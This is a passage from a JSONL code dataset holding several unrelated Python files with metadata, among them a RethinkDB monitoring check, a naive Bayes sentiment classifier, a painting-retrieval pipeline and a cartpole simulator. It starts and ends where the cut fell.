queries.cluster_statistics,\n queries.server_statistics,\n queries.table_statistics,\n queries.replica_statistics,\n queries.table_statuses,\n queries.server_statuses,\n queries.jobs_summary,\n queries.current_issues_summary,\n ) # type: Sequence[DocumentQuery]\n\n @contextmanager\n def connect_submitting_service_checks(self):\n # type: () -> Iterator[rethinkdb.net.Connection]\n config = self.config\n tags = config.service_check_tags\n\n try:\n with rethinkdb.r.connect(\n host=config.host,\n port=config.port,\n user=config.user,\n password=config.password,\n ssl={'ca_certs': config.tls_ca_cert} if config.tls_ca_cert is not None else {},\n ) as conn:\n yield conn\n except rethinkdb.errors.ReqlDriverError as exc:\n message = 'Could not connect to RethinkDB server: {!r}'.format(exc)\n self.log.error(message)\n self.service_check(self.SERVICE_CHECK_CONNECT, self.CRITICAL, tags=tags, message=message)\n raise\n except Exception as exc:\n message = 'Unexpected error while executing RethinkDB check: {!r}'.format(exc)\n self.log.error(message)\n self.service_check(self.SERVICE_CHECK_CONNECT, self.CRITICAL, tags=tags, message=message)\n raise\n else:\n self.service_check(self.SERVICE_CHECK_CONNECT, self.OK, tags=tags)\n\n def collect_metrics(self, conn):\n # type: (rethinkdb.net.Connection) -> Iterator[Metric]\n \"\"\"\n Collect metrics from the RethinkDB cluster we are connected to.\n \"\"\"\n for query in self.queries:\n for metric in query.run(logger=self.log, conn=conn, config=self.config):\n yield metric\n\n def submit_metric(self, metric):\n # type: (Metric) -> None\n submit = getattr(self, metric['type']) # type: Callable\n submit(metric['name'], metric['value'], tags=self.config.tags + metric['tags'])\n\n def submit_version_metadata(self, conn):\n # type: (rethinkdb.net.Connection) -> None\n try:\n raw_version = operations.get_connected_server_raw_version(conn)\n except Exception as exc:\n self.log.error('Error collecting version metadata: %s', exc)\n return\n\n if raw_version is None:\n return\n\n try:\n version = parse_version(raw_version)\n except ValueError as exc:\n self.log.error('Failed to parse version: %s', exc)\n return\n\n self.set_metadata('version', version)\n\n def check(self, instance):\n # type: (Any) -> None\n with self.connect_submitting_service_checks() as conn:\n for metric in self.collect_metrics(conn):\n self.submit_metric(metric)\n\n if self.is_metadata_collection_enabled():\n self.submit_version_metadata(conn)\n","sub_path":"rethinkdb/datadog_checks/rethinkdb/check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":4023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"272254175","text":"# -*- coding: utf-8 -*-\nfrom collections import OrderedDict\n\nfrom PyQt5.QtWidgets import QAction\nfrom PyQt5.QtWidgets import QApplication\n\nfrom BasicWidget import BASIC_FONT, BasicFcView, BasicCell, NumCell\nfrom EventType import EVENT_PD\nfrom MainEngine import MainEngine\n\n\nclass ProtocolListView(BasicFcView):\n \"\"\"协存详情\"\"\"\n\n # ----------------------------------------------------------------------\n def __init__(self, mainEngine, parent=None):\n \"\"\"Constructor\"\"\"\n super(ProtocolListView, self).__init__(parent=parent)\n\n self.mainEngine = mainEngine\n\n d = OrderedDict()\n d['pd_project_name'] = {'chinese': '协存项目名称', 'cellType': BasicCell}\n d['pd_project_rate'] = {'chinese': '协存项目利率', 'cellType': BasicCell}\n\n d['date'] = {'chinese': '计算日', 'cellType': BasicCell}\n # d['protocol_deposit_amount'] = {'chinese': '协存总额', 'cellType': NumCell}\n # d['protocol_deposit_revenue'] = {'chinese': '协存收益', 'cellType': NumCell}\n # d['cash_to_protocol_deposit'] = {'chinese': '现金->协存', 'cellType': NumCell}\n # d['protocol_deposit_to_cash'] = {'chinese': '协存->现金', 'cellType': NumCell}\n\n # 协存项目\n d['pd_amount'] = {'chinese': '总额', 'cellType': BasicCell}\n d['pd_principal'] = {'chinese': '协存本金', 'cellType': BasicCell}\n d['pd_interest'] = {'chinese': '协存利息', 'cellType': BasicCell}\n # 协存项目 输入项\n d['pd_interest_to_principal'] = {'chinese': '利息转结本金', 'cellType': BasicCell}\n # d['pd_investor_to_pd'] = {'chinese': '投资人资金->协存', 'cellType': BasicCell}\n d['pd_cash_to_pd'] = {'chinese': '现金->协存', 'cellType': BasicCell}\n # d['pd_pd_to_investor'] = {'chinese': '协存->总付投资人', 'cellType': BasicCell}\n d['pd_pd_to_cash'] = {'chinese': '协存->现金', 'cellType': BasicCell}\n\n self.setHeaderDict(d)\n\n self.setEventType(EVENT_PD)\n\n self.initUi()\n\n # ----------------------------------------------------------------------\n def initUi(self):\n \"\"\"初始化界面\"\"\"\n self.setWindowTitle('协存明细')\n self.setMinimumSize(1200, 600)\n self.setFont(BASIC_FONT)\n self.initTable()\n self.addMenuAction()\n\n # ----------------------------------------------------------------------\n def showProtocolListDetail(self):\n \"\"\"显示所有合约数据\"\"\"\n # result0 = self.mainEngine.getProtocol()\n result2 = self.mainEngine.getProtocolListDetail()\n # self.setRowCount(len(result1)+len(result2))\n self.setRowCount(len(result2))\n row = 0\n for r in result2:\n # 按照定义的表头,进行数据填充\n for n, header in enumerate(self.headerList):\n name, rate = r.getPdProjectInfo()\n if header is 'pd_project_name':\n content = name\n elif header is 'pd_project_rate':\n content = rate\n else:\n content = r.__getattribute__(header)\n\n if isinstance(content, float):\n content = float('%.2f' % content)\n cellType = self.headerDict[header]['cellType']\n cell = cellType(content)\n print(cell.text())\n # if self.font:\n # cell.setFont(self.font) # 如果设置了特殊字体,则进行单元格设置\n\n self.setItem(row, n, cell)\n\n row = row + 1\n\n # ----------------------------------------------------------------------\n def refresh(self):\n \"\"\"刷新\"\"\"\n self.menu.close() # 关闭菜单\n self.clearContents()\n self.setRowCount(0)\n self.showProtocolListDetail()\n\n # ----------------------------------------------------------------------\n def addMenuAction(self):\n \"\"\"增加右键菜单内容\"\"\"\n refreshAction = QAction('刷新', self)\n refreshAction.triggered.connect(self.refresh)\n\n self.menu.addAction(refreshAction)\n\n # ----------------------------------------------------------------------\n def show(self):\n \"\"\"显示\"\"\"\n super(ProtocolListView, self).show()\n self.refresh()\n\n\nif __name__ == '__main__':\n import sys\n\n app = QApplication(sys.argv)\n mainEngine = MainEngine()\n plv = ProtocolListView(mainEngine)\n\n plv.show()\n sys.exit(app.exec_())\n","sub_path":"fc.view/protocolView/ProtocolMain.py","file_name":"ProtocolMain.py","file_ext":"py","file_size_in_byte":4540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"558796749","text":"from sklearn.feature_extraction.text import CountVectorizer\nimport re\nimport csv\nimport math\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\nwith open('./data/IMDB.csv', \"r\", encoding=\"utf-8\") as f:\n\n lines = f.readlines()\n without_header = list(map(lambda line: line.split(\",\")[0], lines[1:]))\n training_data = without_header[:30000]\n validation_data = without_header[30000:40000]\n test_data = without_header[40000:]\n assert len(training_data) == 30000\n assert len(validation_data) == 10000\n assert len(test_data) == 10000\n\nwith open('data/IMDB_labels.csv', \"r\", encoding='utf-8') as f:\n lines = f.readlines()\n lines = list(map(lambda line: line.split(\",\")\n [0] == \"positive\\n\", lines[1:]))\n training_labels = lines[:30000]\n validation_labels = lines[30000:]\n assert len(training_labels) == 30000\n assert len(validation_labels) == 10000\n assert len(lines[40000:]) == 0\n\n\ndef clean_text(text):\n\n # remove HTML tags\n text = re.sub(r'<.*?>', '', text)\n\n # remove the characters [\\], ['] and [\"]\n text = re.sub(r\"\\\\\", \"\", text)\n text = re.sub(r\"\\'\", \"\", text)\n text = re.sub(r\"\\\"\", \"\", text)\n # pattern = r'[^a-zA-z0-9\\s]'\n # text = re.sub(pattern, '', text)\n\n # convert text to lowercase\n text = text.strip().lower()\n\n # replace punctuation characters with spaces\n filters = '!\"\\'#$%&()*+,-./:;<=>?@[\\\\]^_`{|}~\\t\\n'\n translate_dict = dict((c, \" \") for c in filters)\n translate_map = str.maketrans(translate_dict)\n text = text.translate(translate_map)\n\n return text\n\n\ndef learn_classes(labels):\n\n # Track our positive count\n positive_count = 0\n # for all the training data\n for label in labels:\n # if the label is positive, add one to our count\n if label:\n positive_count += 1\n\n # Pos prob is total number of pos over total count of items\n pos_prob = positive_count / len(labels)\n\n # learn P(y=0):\n negative_count = len(labels) - positive_count\n # neg prob is negative count / total count\n neg_prob = negative_count / len(labels)\n\n return pos_prob, neg_prob, positive_count, negative_count\n\n\ndef run_model(max_features=2000, min_df=0, max_df=1.0, alphas=[1.4], is_test_set=False, filename=None):\n\n # this vectorizer will skip stop words\n vectorizer = CountVectorizer(\n stop_words=\"english\",\n preprocessor=clean_text,\n max_features=max_features,\n min_df=min_df,\n max_df=max_df,\n )\n\n # fit the vectorizer on the text\n counts = vectorizer.fit(training_data)\n\n # # get the vocabulary\n vocab_dict = {k: v for k, v in vectorizer.vocabulary_.items()}\n count_vocab_dict = {v: k for k, v in vectorizer.vocabulary_.items()}\n vocabulary = [count_vocab_dict[i] for i in range(len(count_vocab_dict))]\n\n def get_vectors_from_data(data):\n vectors = []\n for line in data:\n line = clean_text(line).split()\n vec = [0] * len(vocabulary)\n for word in line:\n try:\n vec[vocab_dict[word]] += 1\n except KeyError as e:\n pass\n\n vectors.append(vec)\n return vectors\n\n training_vectors = get_vectors_from_data(training_data)\n validation_vectors = get_vectors_from_data(validation_data)\n test_vectors = get_vectors_from_data(test_data)\n assert len(training_vectors) == 30000\n assert len(validation_vectors) == 10000\n assert len(test_vectors) == 10000\n assert validation_vectors != test_vectors\n\n def train_model(is_positive=True, alpha=1):\n total_word_count = 0\n probs = [0] * len(vocabulary) # [0, 0, 0, ...]\n # Loop over the reviews\n for rev_idx, review in enumerate(training_vectors):\n # If the review is positive, and we're not training positive, or if the review is negative, and we're not training negative, continue\n if training_labels[rev_idx] != is_positive:\n continue\n\n # review[i] == number of word off vocabulary[i] in the review\n # IE, if vocabulary[i] == \"cheese\" then review[i] is number of times \"cheese\" is in the review\n # Loop over the count of the i'th vocab word in said review\n for i, count_of_ith_vocab_word_in_review in enumerate(review):\n probs[i] += count_of_ith_vocab_word_in_review\n total_word_count += count_of_ith_vocab_word_in_review\n\n for i in range(len(probs)):\n probs[i] += alpha\n probs[i] /= total_word_count + (len(vocabulary) * alpha)\n if probs[i] != 0:\n probs[i] = math.log(probs[i])\n\n return probs\n\n def get_apply_func(alpha):\n pos_probs = train_model(is_positive=True, alpha=alpha)\n neg_probs = train_model(is_positive=False, alpha=alpha)\n total_pos_prob, total_neg_prob, _, _ = learn_classes(training_labels)\n\n def apply_model(x, is_positive=True):\n positive_term = 0\n negative_term = 0\n\n for i in range(len(vocabulary)):\n try:\n positive_term += pos_probs[i] * x[i]\n negative_term += neg_probs[i] * x[i]\n except TypeError:\n print(pos_probs[i])\n print(x[i])\n\n if is_positive:\n return positive_term + math.log(total_pos_prob)\n else:\n return negative_term + math.log(total_neg_prob)\n\n return apply_model\n\n def validate(vec, labels, apply_model):\n _, _, pos, neg = learn_classes(labels)\n pos_corr = 0\n neg_corr = 0\n correct = 0\n for i, (x, posval) in enumerate(zip(vec, labels)):\n pos_prob = apply_model(x, is_positive=True)\n neg_prob = apply_model(x, is_positive=False)\n # print(pos_prob, neg_prob, pos_prob > neg_prob, posval)\n if pos_prob >= neg_prob and posval:\n pos_corr += 1\n correct += 1\n elif pos_prob < neg_prob and not posval:\n neg_corr += 1\n correct += 1\n # print(\"Total cor\", correct / len(vec))\n # print(\"Pos cor\", pos_corr / pos)\n # print(\"Neg cor\", neg_corr / neg)\n return correct / len(vec)\n\n def write_prediction_to_csv(filename, vec, apply_model):\n with open(filename, \"w\") as f:\n for x in vec:\n pos_prob = apply_model(x, is_positive=True)\n neg_prob = apply_model(x, is_positive=False)\n if pos_prob >= neg_prob:\n f.write(f\"1\\n\")\n elif pos_prob < neg_prob:\n f.write(f\"0\\n\")\n\n if not is_test_set:\n best_res = 0\n best_alpha = -1\n res = [0] * len(alphas)\n for i, alpha in enumerate(alphas):\n f = get_apply_func(alpha)\n res[i] = validate(validation_vectors, validation_labels, f)\n return res\n elif is_test_set and filename is not None:\n f = get_apply_func(alphas[0])\n write_prediction_to_csv(filename, test_vectors, f)\n else:\n print(\"You must specify a filename for a test set.\")\n\n\ndef get_best_values():\n # feature_counts = [100, 200, 500, 1000, 2000, 3000, 4000, 5000, 6000]\n feature_counts = list(map(lambda x: x * 10000, range(3, 12, 2))) # [30k, 50k, 70k, 90k, 11k]\n min_dfs = np.arange(0, 0.3, step=0.05) # [0.0, 0.05, 0.10, ...]\n max_dfs = np.arange(1.0, 0.6, step=-0.05) # [1.0, 0.95, 0.90, ...]\n\n best_feature = 0\n best_min = min(min_dfs) - 1\n best_max = max(max_dfs) + 1\n best_res = 0\n for feat in feature_counts:\n for min_df in min_dfs:\n for max_df in max_dfs:\n print(\n f\"Running model:\\tFeatures: {feat}\\tMin DF: {min_df}\\tMax DF: {max_df}\")\n try:\n res = run_model(max_features=feat,\n min_df=min_df, max_df=max_df)\n except ValueError as e:\n print(\n f\"Error running model:\\n\\tFeatures: {feat}\\n\\tMin DF: {min_df}\\n\\tMax DF: {max_df}\")\n continue\n\n if res[0] > best_res:\n print(\n f\"Found new best model!\\n\\tFeatures: {feat}\\n\\tMin DF: {min_df}\\n\\tMax DF: {max_df}\")\n best_res = res[0]\n best_min = min_df\n best_max = max_df\n best_feature = feat\n print(f\"Accuracy:\\t{res[0]}\")\n\n print(f\"Best Accuracy: {best_res} w/ {best_feature} features\")\n\n\nif __name__ == \"__main__\":\n\n # # Warning this function is stupidly slow\n # get_best_values()\n\n run_model(is_test_set=True, filename=\"test-prediction1.csv\", alphas=[1.0])\n run_model(is_test_set=True, filename=\"test-prediction2.csv\", alphas=[1.4])\n run_model(max_features=50000, is_test_set=True,\n filename=\"test-prediction3.csv\", alphas=[1.4])\n","sub_path":"as2/bayes.py","file_name":"bayes.py","file_ext":"py","file_size_in_byte":9037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"418748928","text":"#!usr/bin/env python3\n\nfrom convert import Converter\nimport click\n\n@click.command()\n@click.option(\n \"-i\",\n help=\"Path to your input/pdf file\"\n)\n@click.option(\n \"-o\",\n default=\"out.mp3\",\n help=\"Path to your output/mp3 file\"\n)\n@click.option(\n \"--lang\",\n default=\"en\",\n help=\"The language used in your your pdf file\"\n)\n\ndef main(i, o, lang):\n if i is not None:\n if click.confirm('Do you want to continue with this conversion process?'):\n converter = Converter(i, o, lang)\n converter.return_class_info()\n converter.prepare()\n else:\n print(\"Please specify an input file\")\n\nif __name__ == '__main__':\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"93012064","text":"import pandas as pd\nimport numpy as np\nimport libreria_fdo as fs\n\n\ndef get_govt_rates(today):\n\tquery_est = \"SELECT Codigo_ins, Moneda, Benchmark as Duration FROM gobierno_benchmarks\"\n\tbonos = fs.get_frame_sql('Puyehue', 'MesaInversiones', query_est)\n\tquery_din = \"SELECT Codigo_ins, Tasa, Tasa_anterior FROM Performance_Nacionales where Codigo_ins in {} and Fecha = '{}'\".format(tuple(bonos['Codigo_ins']), today)\n\tdf = fs.get_frame_sql('Puyehue', 'MesaInversiones', query_din)\n\tdf = df.merge(bonos, on='Codigo_ins')\n\tdf['Number'] = df['Duration'].str.rstrip('Y').astype(int)\n\tdf.replace(to_replace=-1000, value=-1, inplace=True)\n\tdf['Delta'] = df['Tasa'] - df['Tasa_anterior']\n\tdf = df.groupby(['Duration', 'Moneda']).sum()\n\tdf.sort_values(by='Number', inplace=True)\n\tdf.drop(columns=['Number'], inplace=True)\n\t\n\n","sub_path":"DPP/reporte_diario/gobierno_mtm.py","file_name":"gobierno_mtm.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"360137097","text":"# -*- coding: utf-8 -*-\n# ---------------------------------------------------------------------\n#\n# ---------------------------------------------------------------------\n# Copyright (C) 2017-2018 The --- Project\n# See LICENSE for details\n# ---------------------------------------------------------------------\n\nimport os\nimport argparse\n\n\ndef parse_arguments():\n \"\"\" Parses the Arguments \"\"\"\n\n parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)\n parser.add_argument(dest=\"directory\", help=\"the directory which should be checked for empty folders\")\n return parser.parse_args()\n\n\ndef get_empty_folders(directory):\n \"\"\"Returns all empty FOLDERS in the directory.\"\"\"\n for dir_path, subdir_names, file_names in os.walk(directory):\n if not file_names and not subdir_names:\n yield dir_path\n\n\nif __name__ == \"__main__\":\n args = parse_arguments()\n folders = get_empty_folders(args.directory)\n for _ in folders:\n print(_)\n os.removedirs(_)\n","sub_path":"python/files/remove_empty_folders.py","file_name":"remove_empty_folders.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"478036480","text":"# alternative provided by TA 李旺陽\ndef CalculateMaximalAmount(n, root, edges, S, k, R):\n E = [ [] for _ in range(n) ]\n for a, b in edges:\n E[a].append(b)\n E[b].append(a)\n\n def dfs(v, pa):\n for e in E[v]:\n if e != pa:\n S[v] += dfs(e, v)\n return S[v]\n dfs(root, root)\n ans = 0\n for a in R:\n ans = max(ans, S[a])\n return ans\n","sub_path":"exam/02/lab/arborist.py","file_name":"arborist.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"379823914","text":"# Copyright (c) Facebook, Inc. and its affiliates.\n# Copyright 2020 Huawei Technologies Co., Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# --------------------------------------------------------\n# Copyright (c) OpenMMLab. All rights reserved.\nimport torch\nfrom mmcv.utils import ConfigDict\n\nfrom mmseg.models.decode_heads import FCNHead, PointHead\nfrom .utils import to_cuda\n\n\ndef test_point_head():\n\n inputs = [torch.randn(1, 32, 45, 45)]\n point_head = PointHead(\n in_channels=[32], in_index=[0], channels=16, num_classes=19)\n assert len(point_head.fcs) == 3\n fcn_head = FCNHead(in_channels=32, channels=16, num_classes=19)\n if torch.cuda.is_available():\n head, inputs = to_cuda(point_head, inputs)\n head, inputs = to_cuda(fcn_head, inputs)\n prev_output = fcn_head(inputs)\n test_cfg = ConfigDict(\n subdivision_steps=2, subdivision_num_points=8196, scale_factor=2)\n output = point_head.forward_test(inputs, prev_output, None, test_cfg)\n assert output.shape == (1, point_head.num_classes, 180, 180)\n\n # test multiple losses case\n inputs = [torch.randn(1, 32, 45, 45)]\n point_head_multiple_losses = PointHead(\n in_channels=[32],\n in_index=[0],\n channels=16,\n num_classes=19,\n loss_decode=[\n dict(type='CrossEntropyLoss', loss_name='loss_1'),\n dict(type='CrossEntropyLoss', loss_name='loss_2')\n ])\n assert len(point_head_multiple_losses.fcs) == 3\n fcn_head_multiple_losses = FCNHead(\n in_channels=32,\n channels=16,\n num_classes=19,\n loss_decode=[\n dict(type='CrossEntropyLoss', loss_name='loss_1'),\n dict(type='CrossEntropyLoss', loss_name='loss_2')\n ])\n if torch.cuda.is_available():\n head, inputs = to_cuda(point_head_multiple_losses, inputs)\n head, inputs = to_cuda(fcn_head_multiple_losses, inputs)\n prev_output = fcn_head_multiple_losses(inputs)\n test_cfg = ConfigDict(\n subdivision_steps=2, subdivision_num_points=8196, scale_factor=2)\n output = point_head_multiple_losses.forward_test(inputs, prev_output, None,\n test_cfg)\n assert output.shape == (1, point_head.num_classes, 180, 180)\n\n fake_label = torch.ones([1, 180, 180], dtype=torch.long)\n\n if torch.cuda.is_available():\n fake_label = fake_label.cuda()\n loss = point_head_multiple_losses.losses(output, fake_label)\n assert 'pointloss_1' in loss\n assert 'pointloss_2' in loss\n","sub_path":"PyTorch/built-in/cv/semantic_segmentation/BiseNetV1_for_PyTorch/tests/test_models/test_heads/test_point_head.py","file_name":"test_point_head.py","file_ext":"py","file_size_in_byte":3042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"429188327","text":"import argparse\nfrom io_utils import *\nfrom os import path\nfrom background_mask import *\nfrom match_methods import *\nfrom text_segmentation import *\nfrom metrics import *\nfrom evaluation.mask_evaluation import *\nfrom evaluation.retrieval_evaluation import *\nfrom time import time\nfrom io_utils import *\nfrom debug_utils import *\nimport numpy as np\nimport cv2\n\ndef parse_input_args():\n \"\"\" Parse program arguments \"\"\"\n parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument(\"ds_path\", type=str,\n help=\"path to folder with db + query set\")\n parser.add_argument(\"db_path\", type=str,\n help=\"db folder name\")\n parser.add_argument(\"qs_path\", type=str,\n help=\"query set folder name\")\n parser.add_argument(\"--masking\", default=1, type=int,\n help=\"apply masking to paintings to remove background (0 no, 1 yes)\")\n parser.add_argument(\"--text_removal\", default=1, type=int,\n help=\"apply masking to paintings to remove background (0 no, 1 yes)\")\n parser.add_argument(\"--output_pkl\", type=str,\n help=\"output file to write pkl file with results\")\n parser.add_argument(\"--opkl_text\", type=str,\n help=\"output file to write pkl file with text detections\")\n parser.add_argument(\"--output_mask\", type=str,\n help=\"output folder to save predicted masks\")\n parser.add_argument(\"--matching_measure\", type=str, default=\"l1_dist\",\n help=\"matching measures [l1_dist, l2_dist, js_div, hellinger]\")\n parser.add_argument(\"-rm\", \"--retrieval_method\", default=\"CBHC\",\n help=\"which method to use for painting retrieval\")\n parser.add_argument(\"-mm\", \"--masking_method\", default=\"PBM\",\n help=\"which method to use for painting retrieval\")\n parser.add_argument(\"-tm\", \"--text_method\", default=\"SM\",\n help=\"which method to use for text masking\")\n parser.add_argument(\"-d\", \"--debug\", default=0, type=int,\n help=\"shows images and some steps for debugging (0 no, 1 yes)\")\n\n args = parser.parse_args()\n\n if args.debug == 1:\n setDebugMode(True)\n return args\n\ndef match_paintings(args):\n \n if isDebug():\n t0 = time()\n \n # Load DB\n db_imgs, db_annotations = load_db(path.join(args.ds_path, args.db_path))\n qs_imgs, qs_gts, qs_mask_list, qs_text_bboxes = load_query_set(path.join(args.ds_path, args.qs_path))\n\n if isDebug():\n #print(\"Time to load DB and query set:\", time()-t0, \"s\")\n #print(\"Size of qs_imgs: \", len(qs_imgs))\n #print(\"Size of qs_gts : \", len(qs_gts))\n #print(\"Size of qs_mask_list: \", len(qs_mask_list))\n #print(\"Size of qs_text_bboxes: \", len(qs_text_bboxes))\n t0 = time()\n\n # Obtain painting region from images\n if args.masking:\n # Obtain masks for the paintings\n masked_regions = bg_mask(qs_imgs, args.masking_method)\n else:\n print(\"DEBUGGING\")\n # Convert list of images into list of list of images (as without masking there will be a single painting, \n # we just have to add a list structure with one image)\n masked_regions = [[[np.ones((image.shape[0], image.shape[1])).astype(bool)] for image in qs_imgs], \\\n [[[0, 0, image.shape[0], image.shape[1]]] for image in qs_imgs], \\\n [[np.ones((image.shape[0], image.shape[1])).astype(bool)] for image in qs_imgs]]\n\n if isDebug():\n print(\"Extracted masks in:\", time()-t0,\"s\")\n\n if args.text_removal:\n # Crop paintings rectangularly to later extract text\n cropped_qs_imgs = crop_painting_for_text(qs_imgs, masked_regions[1])\n\n # Compute for each painting its text segmentation\n text_regions = estimate_text_mask(cropped_qs_imgs, masked_regions[1], args.text_method, qs_imgs)\n\n # Perform painting matching\n t0 = time()\n\n # Clear bg and text\n if args.text_removal and args.masking:\n if type(qs_gts) == list:\n bg_reord = sort_annotations_and_predictions(qs_gts, qs_text_bboxes, text_regions[1], masked_regions=masked_regions[2], masked_boxes=masked_regions[1])\n qs_gts, qs_text_bboxes, text_regions[1], masked_regions[2], masked_regions[1] = bg_reord\n else:\n bg_reord = sort_predictions_no_gt(text_regions[1], masked_regions=masked_regions[2], masked_boxes=masked_regions[1])\n qs_imgs_refined = removal_bg_text(qs_imgs, masked_regions[2], masked_regions[1], text_regions[1], args.retrieval_method)\n else:\n #qs_gts, qs_text_bboxes, text_regions[1] = sort_annotations_and_predictions(qs_gts, qs_text_bboxes, text_regions[1])\n qs_imgs_refined = removal_text(qs_imgs, text_regions[1], args.retrieval_method)\n\n assignments = painting_matching(qs_imgs_refined, db_imgs, args.retrieval_method, metric=get_measure(args.matching_measure))\n\n print(\"Matching in\", time()-t0,\"s\")\n\n # If query set annotations are available, evaluate\n # Evalute mIoU\n if qs_text_bboxes != None:\n mIoU = text_mIoU(text_regions[1], qs_text_bboxes)\n if np.isnan(mIoU): # Check if do I have some results or not\n print(\"Hey, I shouldn't be here: what is the sign used for empty texts??\")\n else: # show the text found\n print(\"Mean IoU text mask:\", mIoU)\n\n # Evaluate painting mask\n if len(qs_mask_list) > 0 and args.masking:\n #if isDebug():\n # for i in range(30):\n # cv2.imshow(\"img\", qs_imgs[i])\n # cv2.imshow(\"mask_pred\", masked_regions[0][i])\n # cv2.imshow(\"mask_anno\", qs_mask_list[i])\n # cv2.imshow(\"diff\", masked_regions[0][i]-qs_mask_list[i])\n # cv2.waitKey(0)\n \n pre, rec, acc, f1 = mask_metrics(masked_regions[0], qs_mask_list)\n\n print(\"Precision\", pre)\n print(\"Recall\", rec)\n print(\"Accuracy\", acc)\n print(\"F1-measure\", f1)\n\n # Evaluate painting matching\n if type(qs_gts) == list:\n qs_gts = reformat_qs_gts(qs_gts)\n qs_gts = np.array(qs_gts).reshape(-1, 1)\n if qs_gts[0].dtype == 'O':\n qs_gts = np.concatenate([[q for q in qs_gt[0]] for qs_gt in qs_gts]).reshape(-1, 1)\n map_at_1 = mapk(qs_gts, assignments, k=1)\n map_at_5 = mapk(qs_gts, assignments, k=5)\n\n print(\"MAP@1:\", map_at_1)\n print(\"MAP@5:\", map_at_5)\n \n print(\"Done\")\n\n # Save to pkl file if necessary\n if args.output_pkl:\n # Save assignments\n assignments = reformat_assignments_to_save(assignments, text_regions[1])\n #assignments = assignments[:, :10].tolist()\n to_pkl(assignments, args.output_pkl)\n\n # Save text bounding boxes\n if args.opkl_text:\n to_pkl(text_regions[1], args.opkl_text)\n\n # Save mask images if necessary\n if args.output_mask:\n save_masks(masked_regions[0], args.output_mask)\n\nif __name__ == \"__main__\":\n parsed_args = parse_input_args()\n match_paintings(parsed_args)\n\n","sub_path":"week2/match_paintings.py","file_name":"match_paintings.py","file_ext":"py","file_size_in_byte":7214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"472351073","text":"import autograd.numpy as np\nfrom autograd import jacobian\nfrom autograd.tracer import getval\n\nfrom trajopt.envs.quanser.common import VelocityFilter\nfrom trajopt.envs.quanser.cartpole.base import QCartpoleBase, X_LIM, CartpoleDynamics\n\n\nclass QCartpole(QCartpoleBase):\n def __init__(self, fs, fs_ctrl, long_pole=False):\n super(QCartpole, self).__init__(fs, fs_ctrl)\n self.dyn = CartpoleDynamics(long_pole)\n self._sim_state = None\n self.viewer = None\n\n # Transformations for the visualization:\n self.cart_trans = None\n self.pole_trans = None\n self.track = None\n self.axle = None\n\n def _calibrate(self):\n _wcf, _zetaf = 62.8318, 0.9 # filter params\n self._vel_filt = VelocityFilter(x_len=self.sensor_space.shape[0],\n x_init=np.array([0., np.pi]), dt=self.timing.dt,\n num=(_wcf ** 2, 0),\n den=(1, 2. * _wcf * _zetaf, _wcf ** 2))\n\n self._sim_state = np.array([0., np.pi + 0.01 * self._np_random.randn(), 0., 0.])\n self._state = self._zero_sim_step()\n\n def _sim_step(self, u):\n # Add a bit of noise to action for robustness\n u_noisy = u + 1e-6 * np.float32(\n self._np_random.randn(self.action_space.shape[0]))\n\n acc = self.dyn(self._sim_state, u_noisy)\n\n # Update internal simulation state\n self._sim_state[3] += self.timing.dt * acc[-1]\n self._sim_state[2] += self.timing.dt * acc[-2]\n self._sim_state[1] += self.timing.dt * self._sim_state[3]\n self._sim_state[0] += self.timing.dt * self._sim_state[2]\n\n # Pretend to only observe position and obtain velocity by filtering\n pos = self._sim_state[:2]\n # vel = self._sim_state[2:]\n vel = self._vel_filt(pos)\n return np.concatenate([pos, vel])\n\n def reset(self):\n self._calibrate()\n return self.step(np.array([0.0]))[0]\n\n def render(self, mode='human'):\n screen_width = 600\n screen_height = 400\n world_width = X_LIM\n scale = screen_width / world_width\n\n cart_y = 100 # Top of the cart\n pole_width = scale * 0.01\n pole_len = scale * self.dyn.pl\n cart_width = scale * 0.1\n cart_height = scale * 0.05\n\n if self.viewer is None:\n from gym.envs.classic_control import rendering\n self.viewer = rendering.Viewer(screen_width, screen_height)\n\n l, r, t, b = - cart_width/2., cart_width/2., cart_height/2., - cart_height/2.\n axle_offset = cart_height/4.\n\n # Plot cart:\n cart = rendering.FilledPolygon([(l, b), (l, t), (r, t), (r, b)])\n self.cart_trans = rendering.Transform()\n cart.add_attr(self.cart_trans)\n self.viewer.add_geom(cart)\n\n # Plot pole:\n l, r, t, b = - pole_width/2., pole_width/2., pole_len - pole_width/2., -pole_width/2.\n pole = rendering.FilledPolygon([(l, b), (l, t), (r, t), (r, b)])\n pole.set_color(.8, .6, .4)\n self.pole_trans = rendering.Transform(translation=(0, axle_offset))\n\n pole.add_attr(self.pole_trans)\n pole.add_attr(self.cart_trans)\n self.viewer.add_geom(pole)\n\n # Plot axle:\n self.axle = rendering.make_circle(pole_width/2.)\n self.axle.add_attr(self.pole_trans)\n self.axle.add_attr(self.cart_trans)\n self.axle.set_color(.5, .5, .8)\n 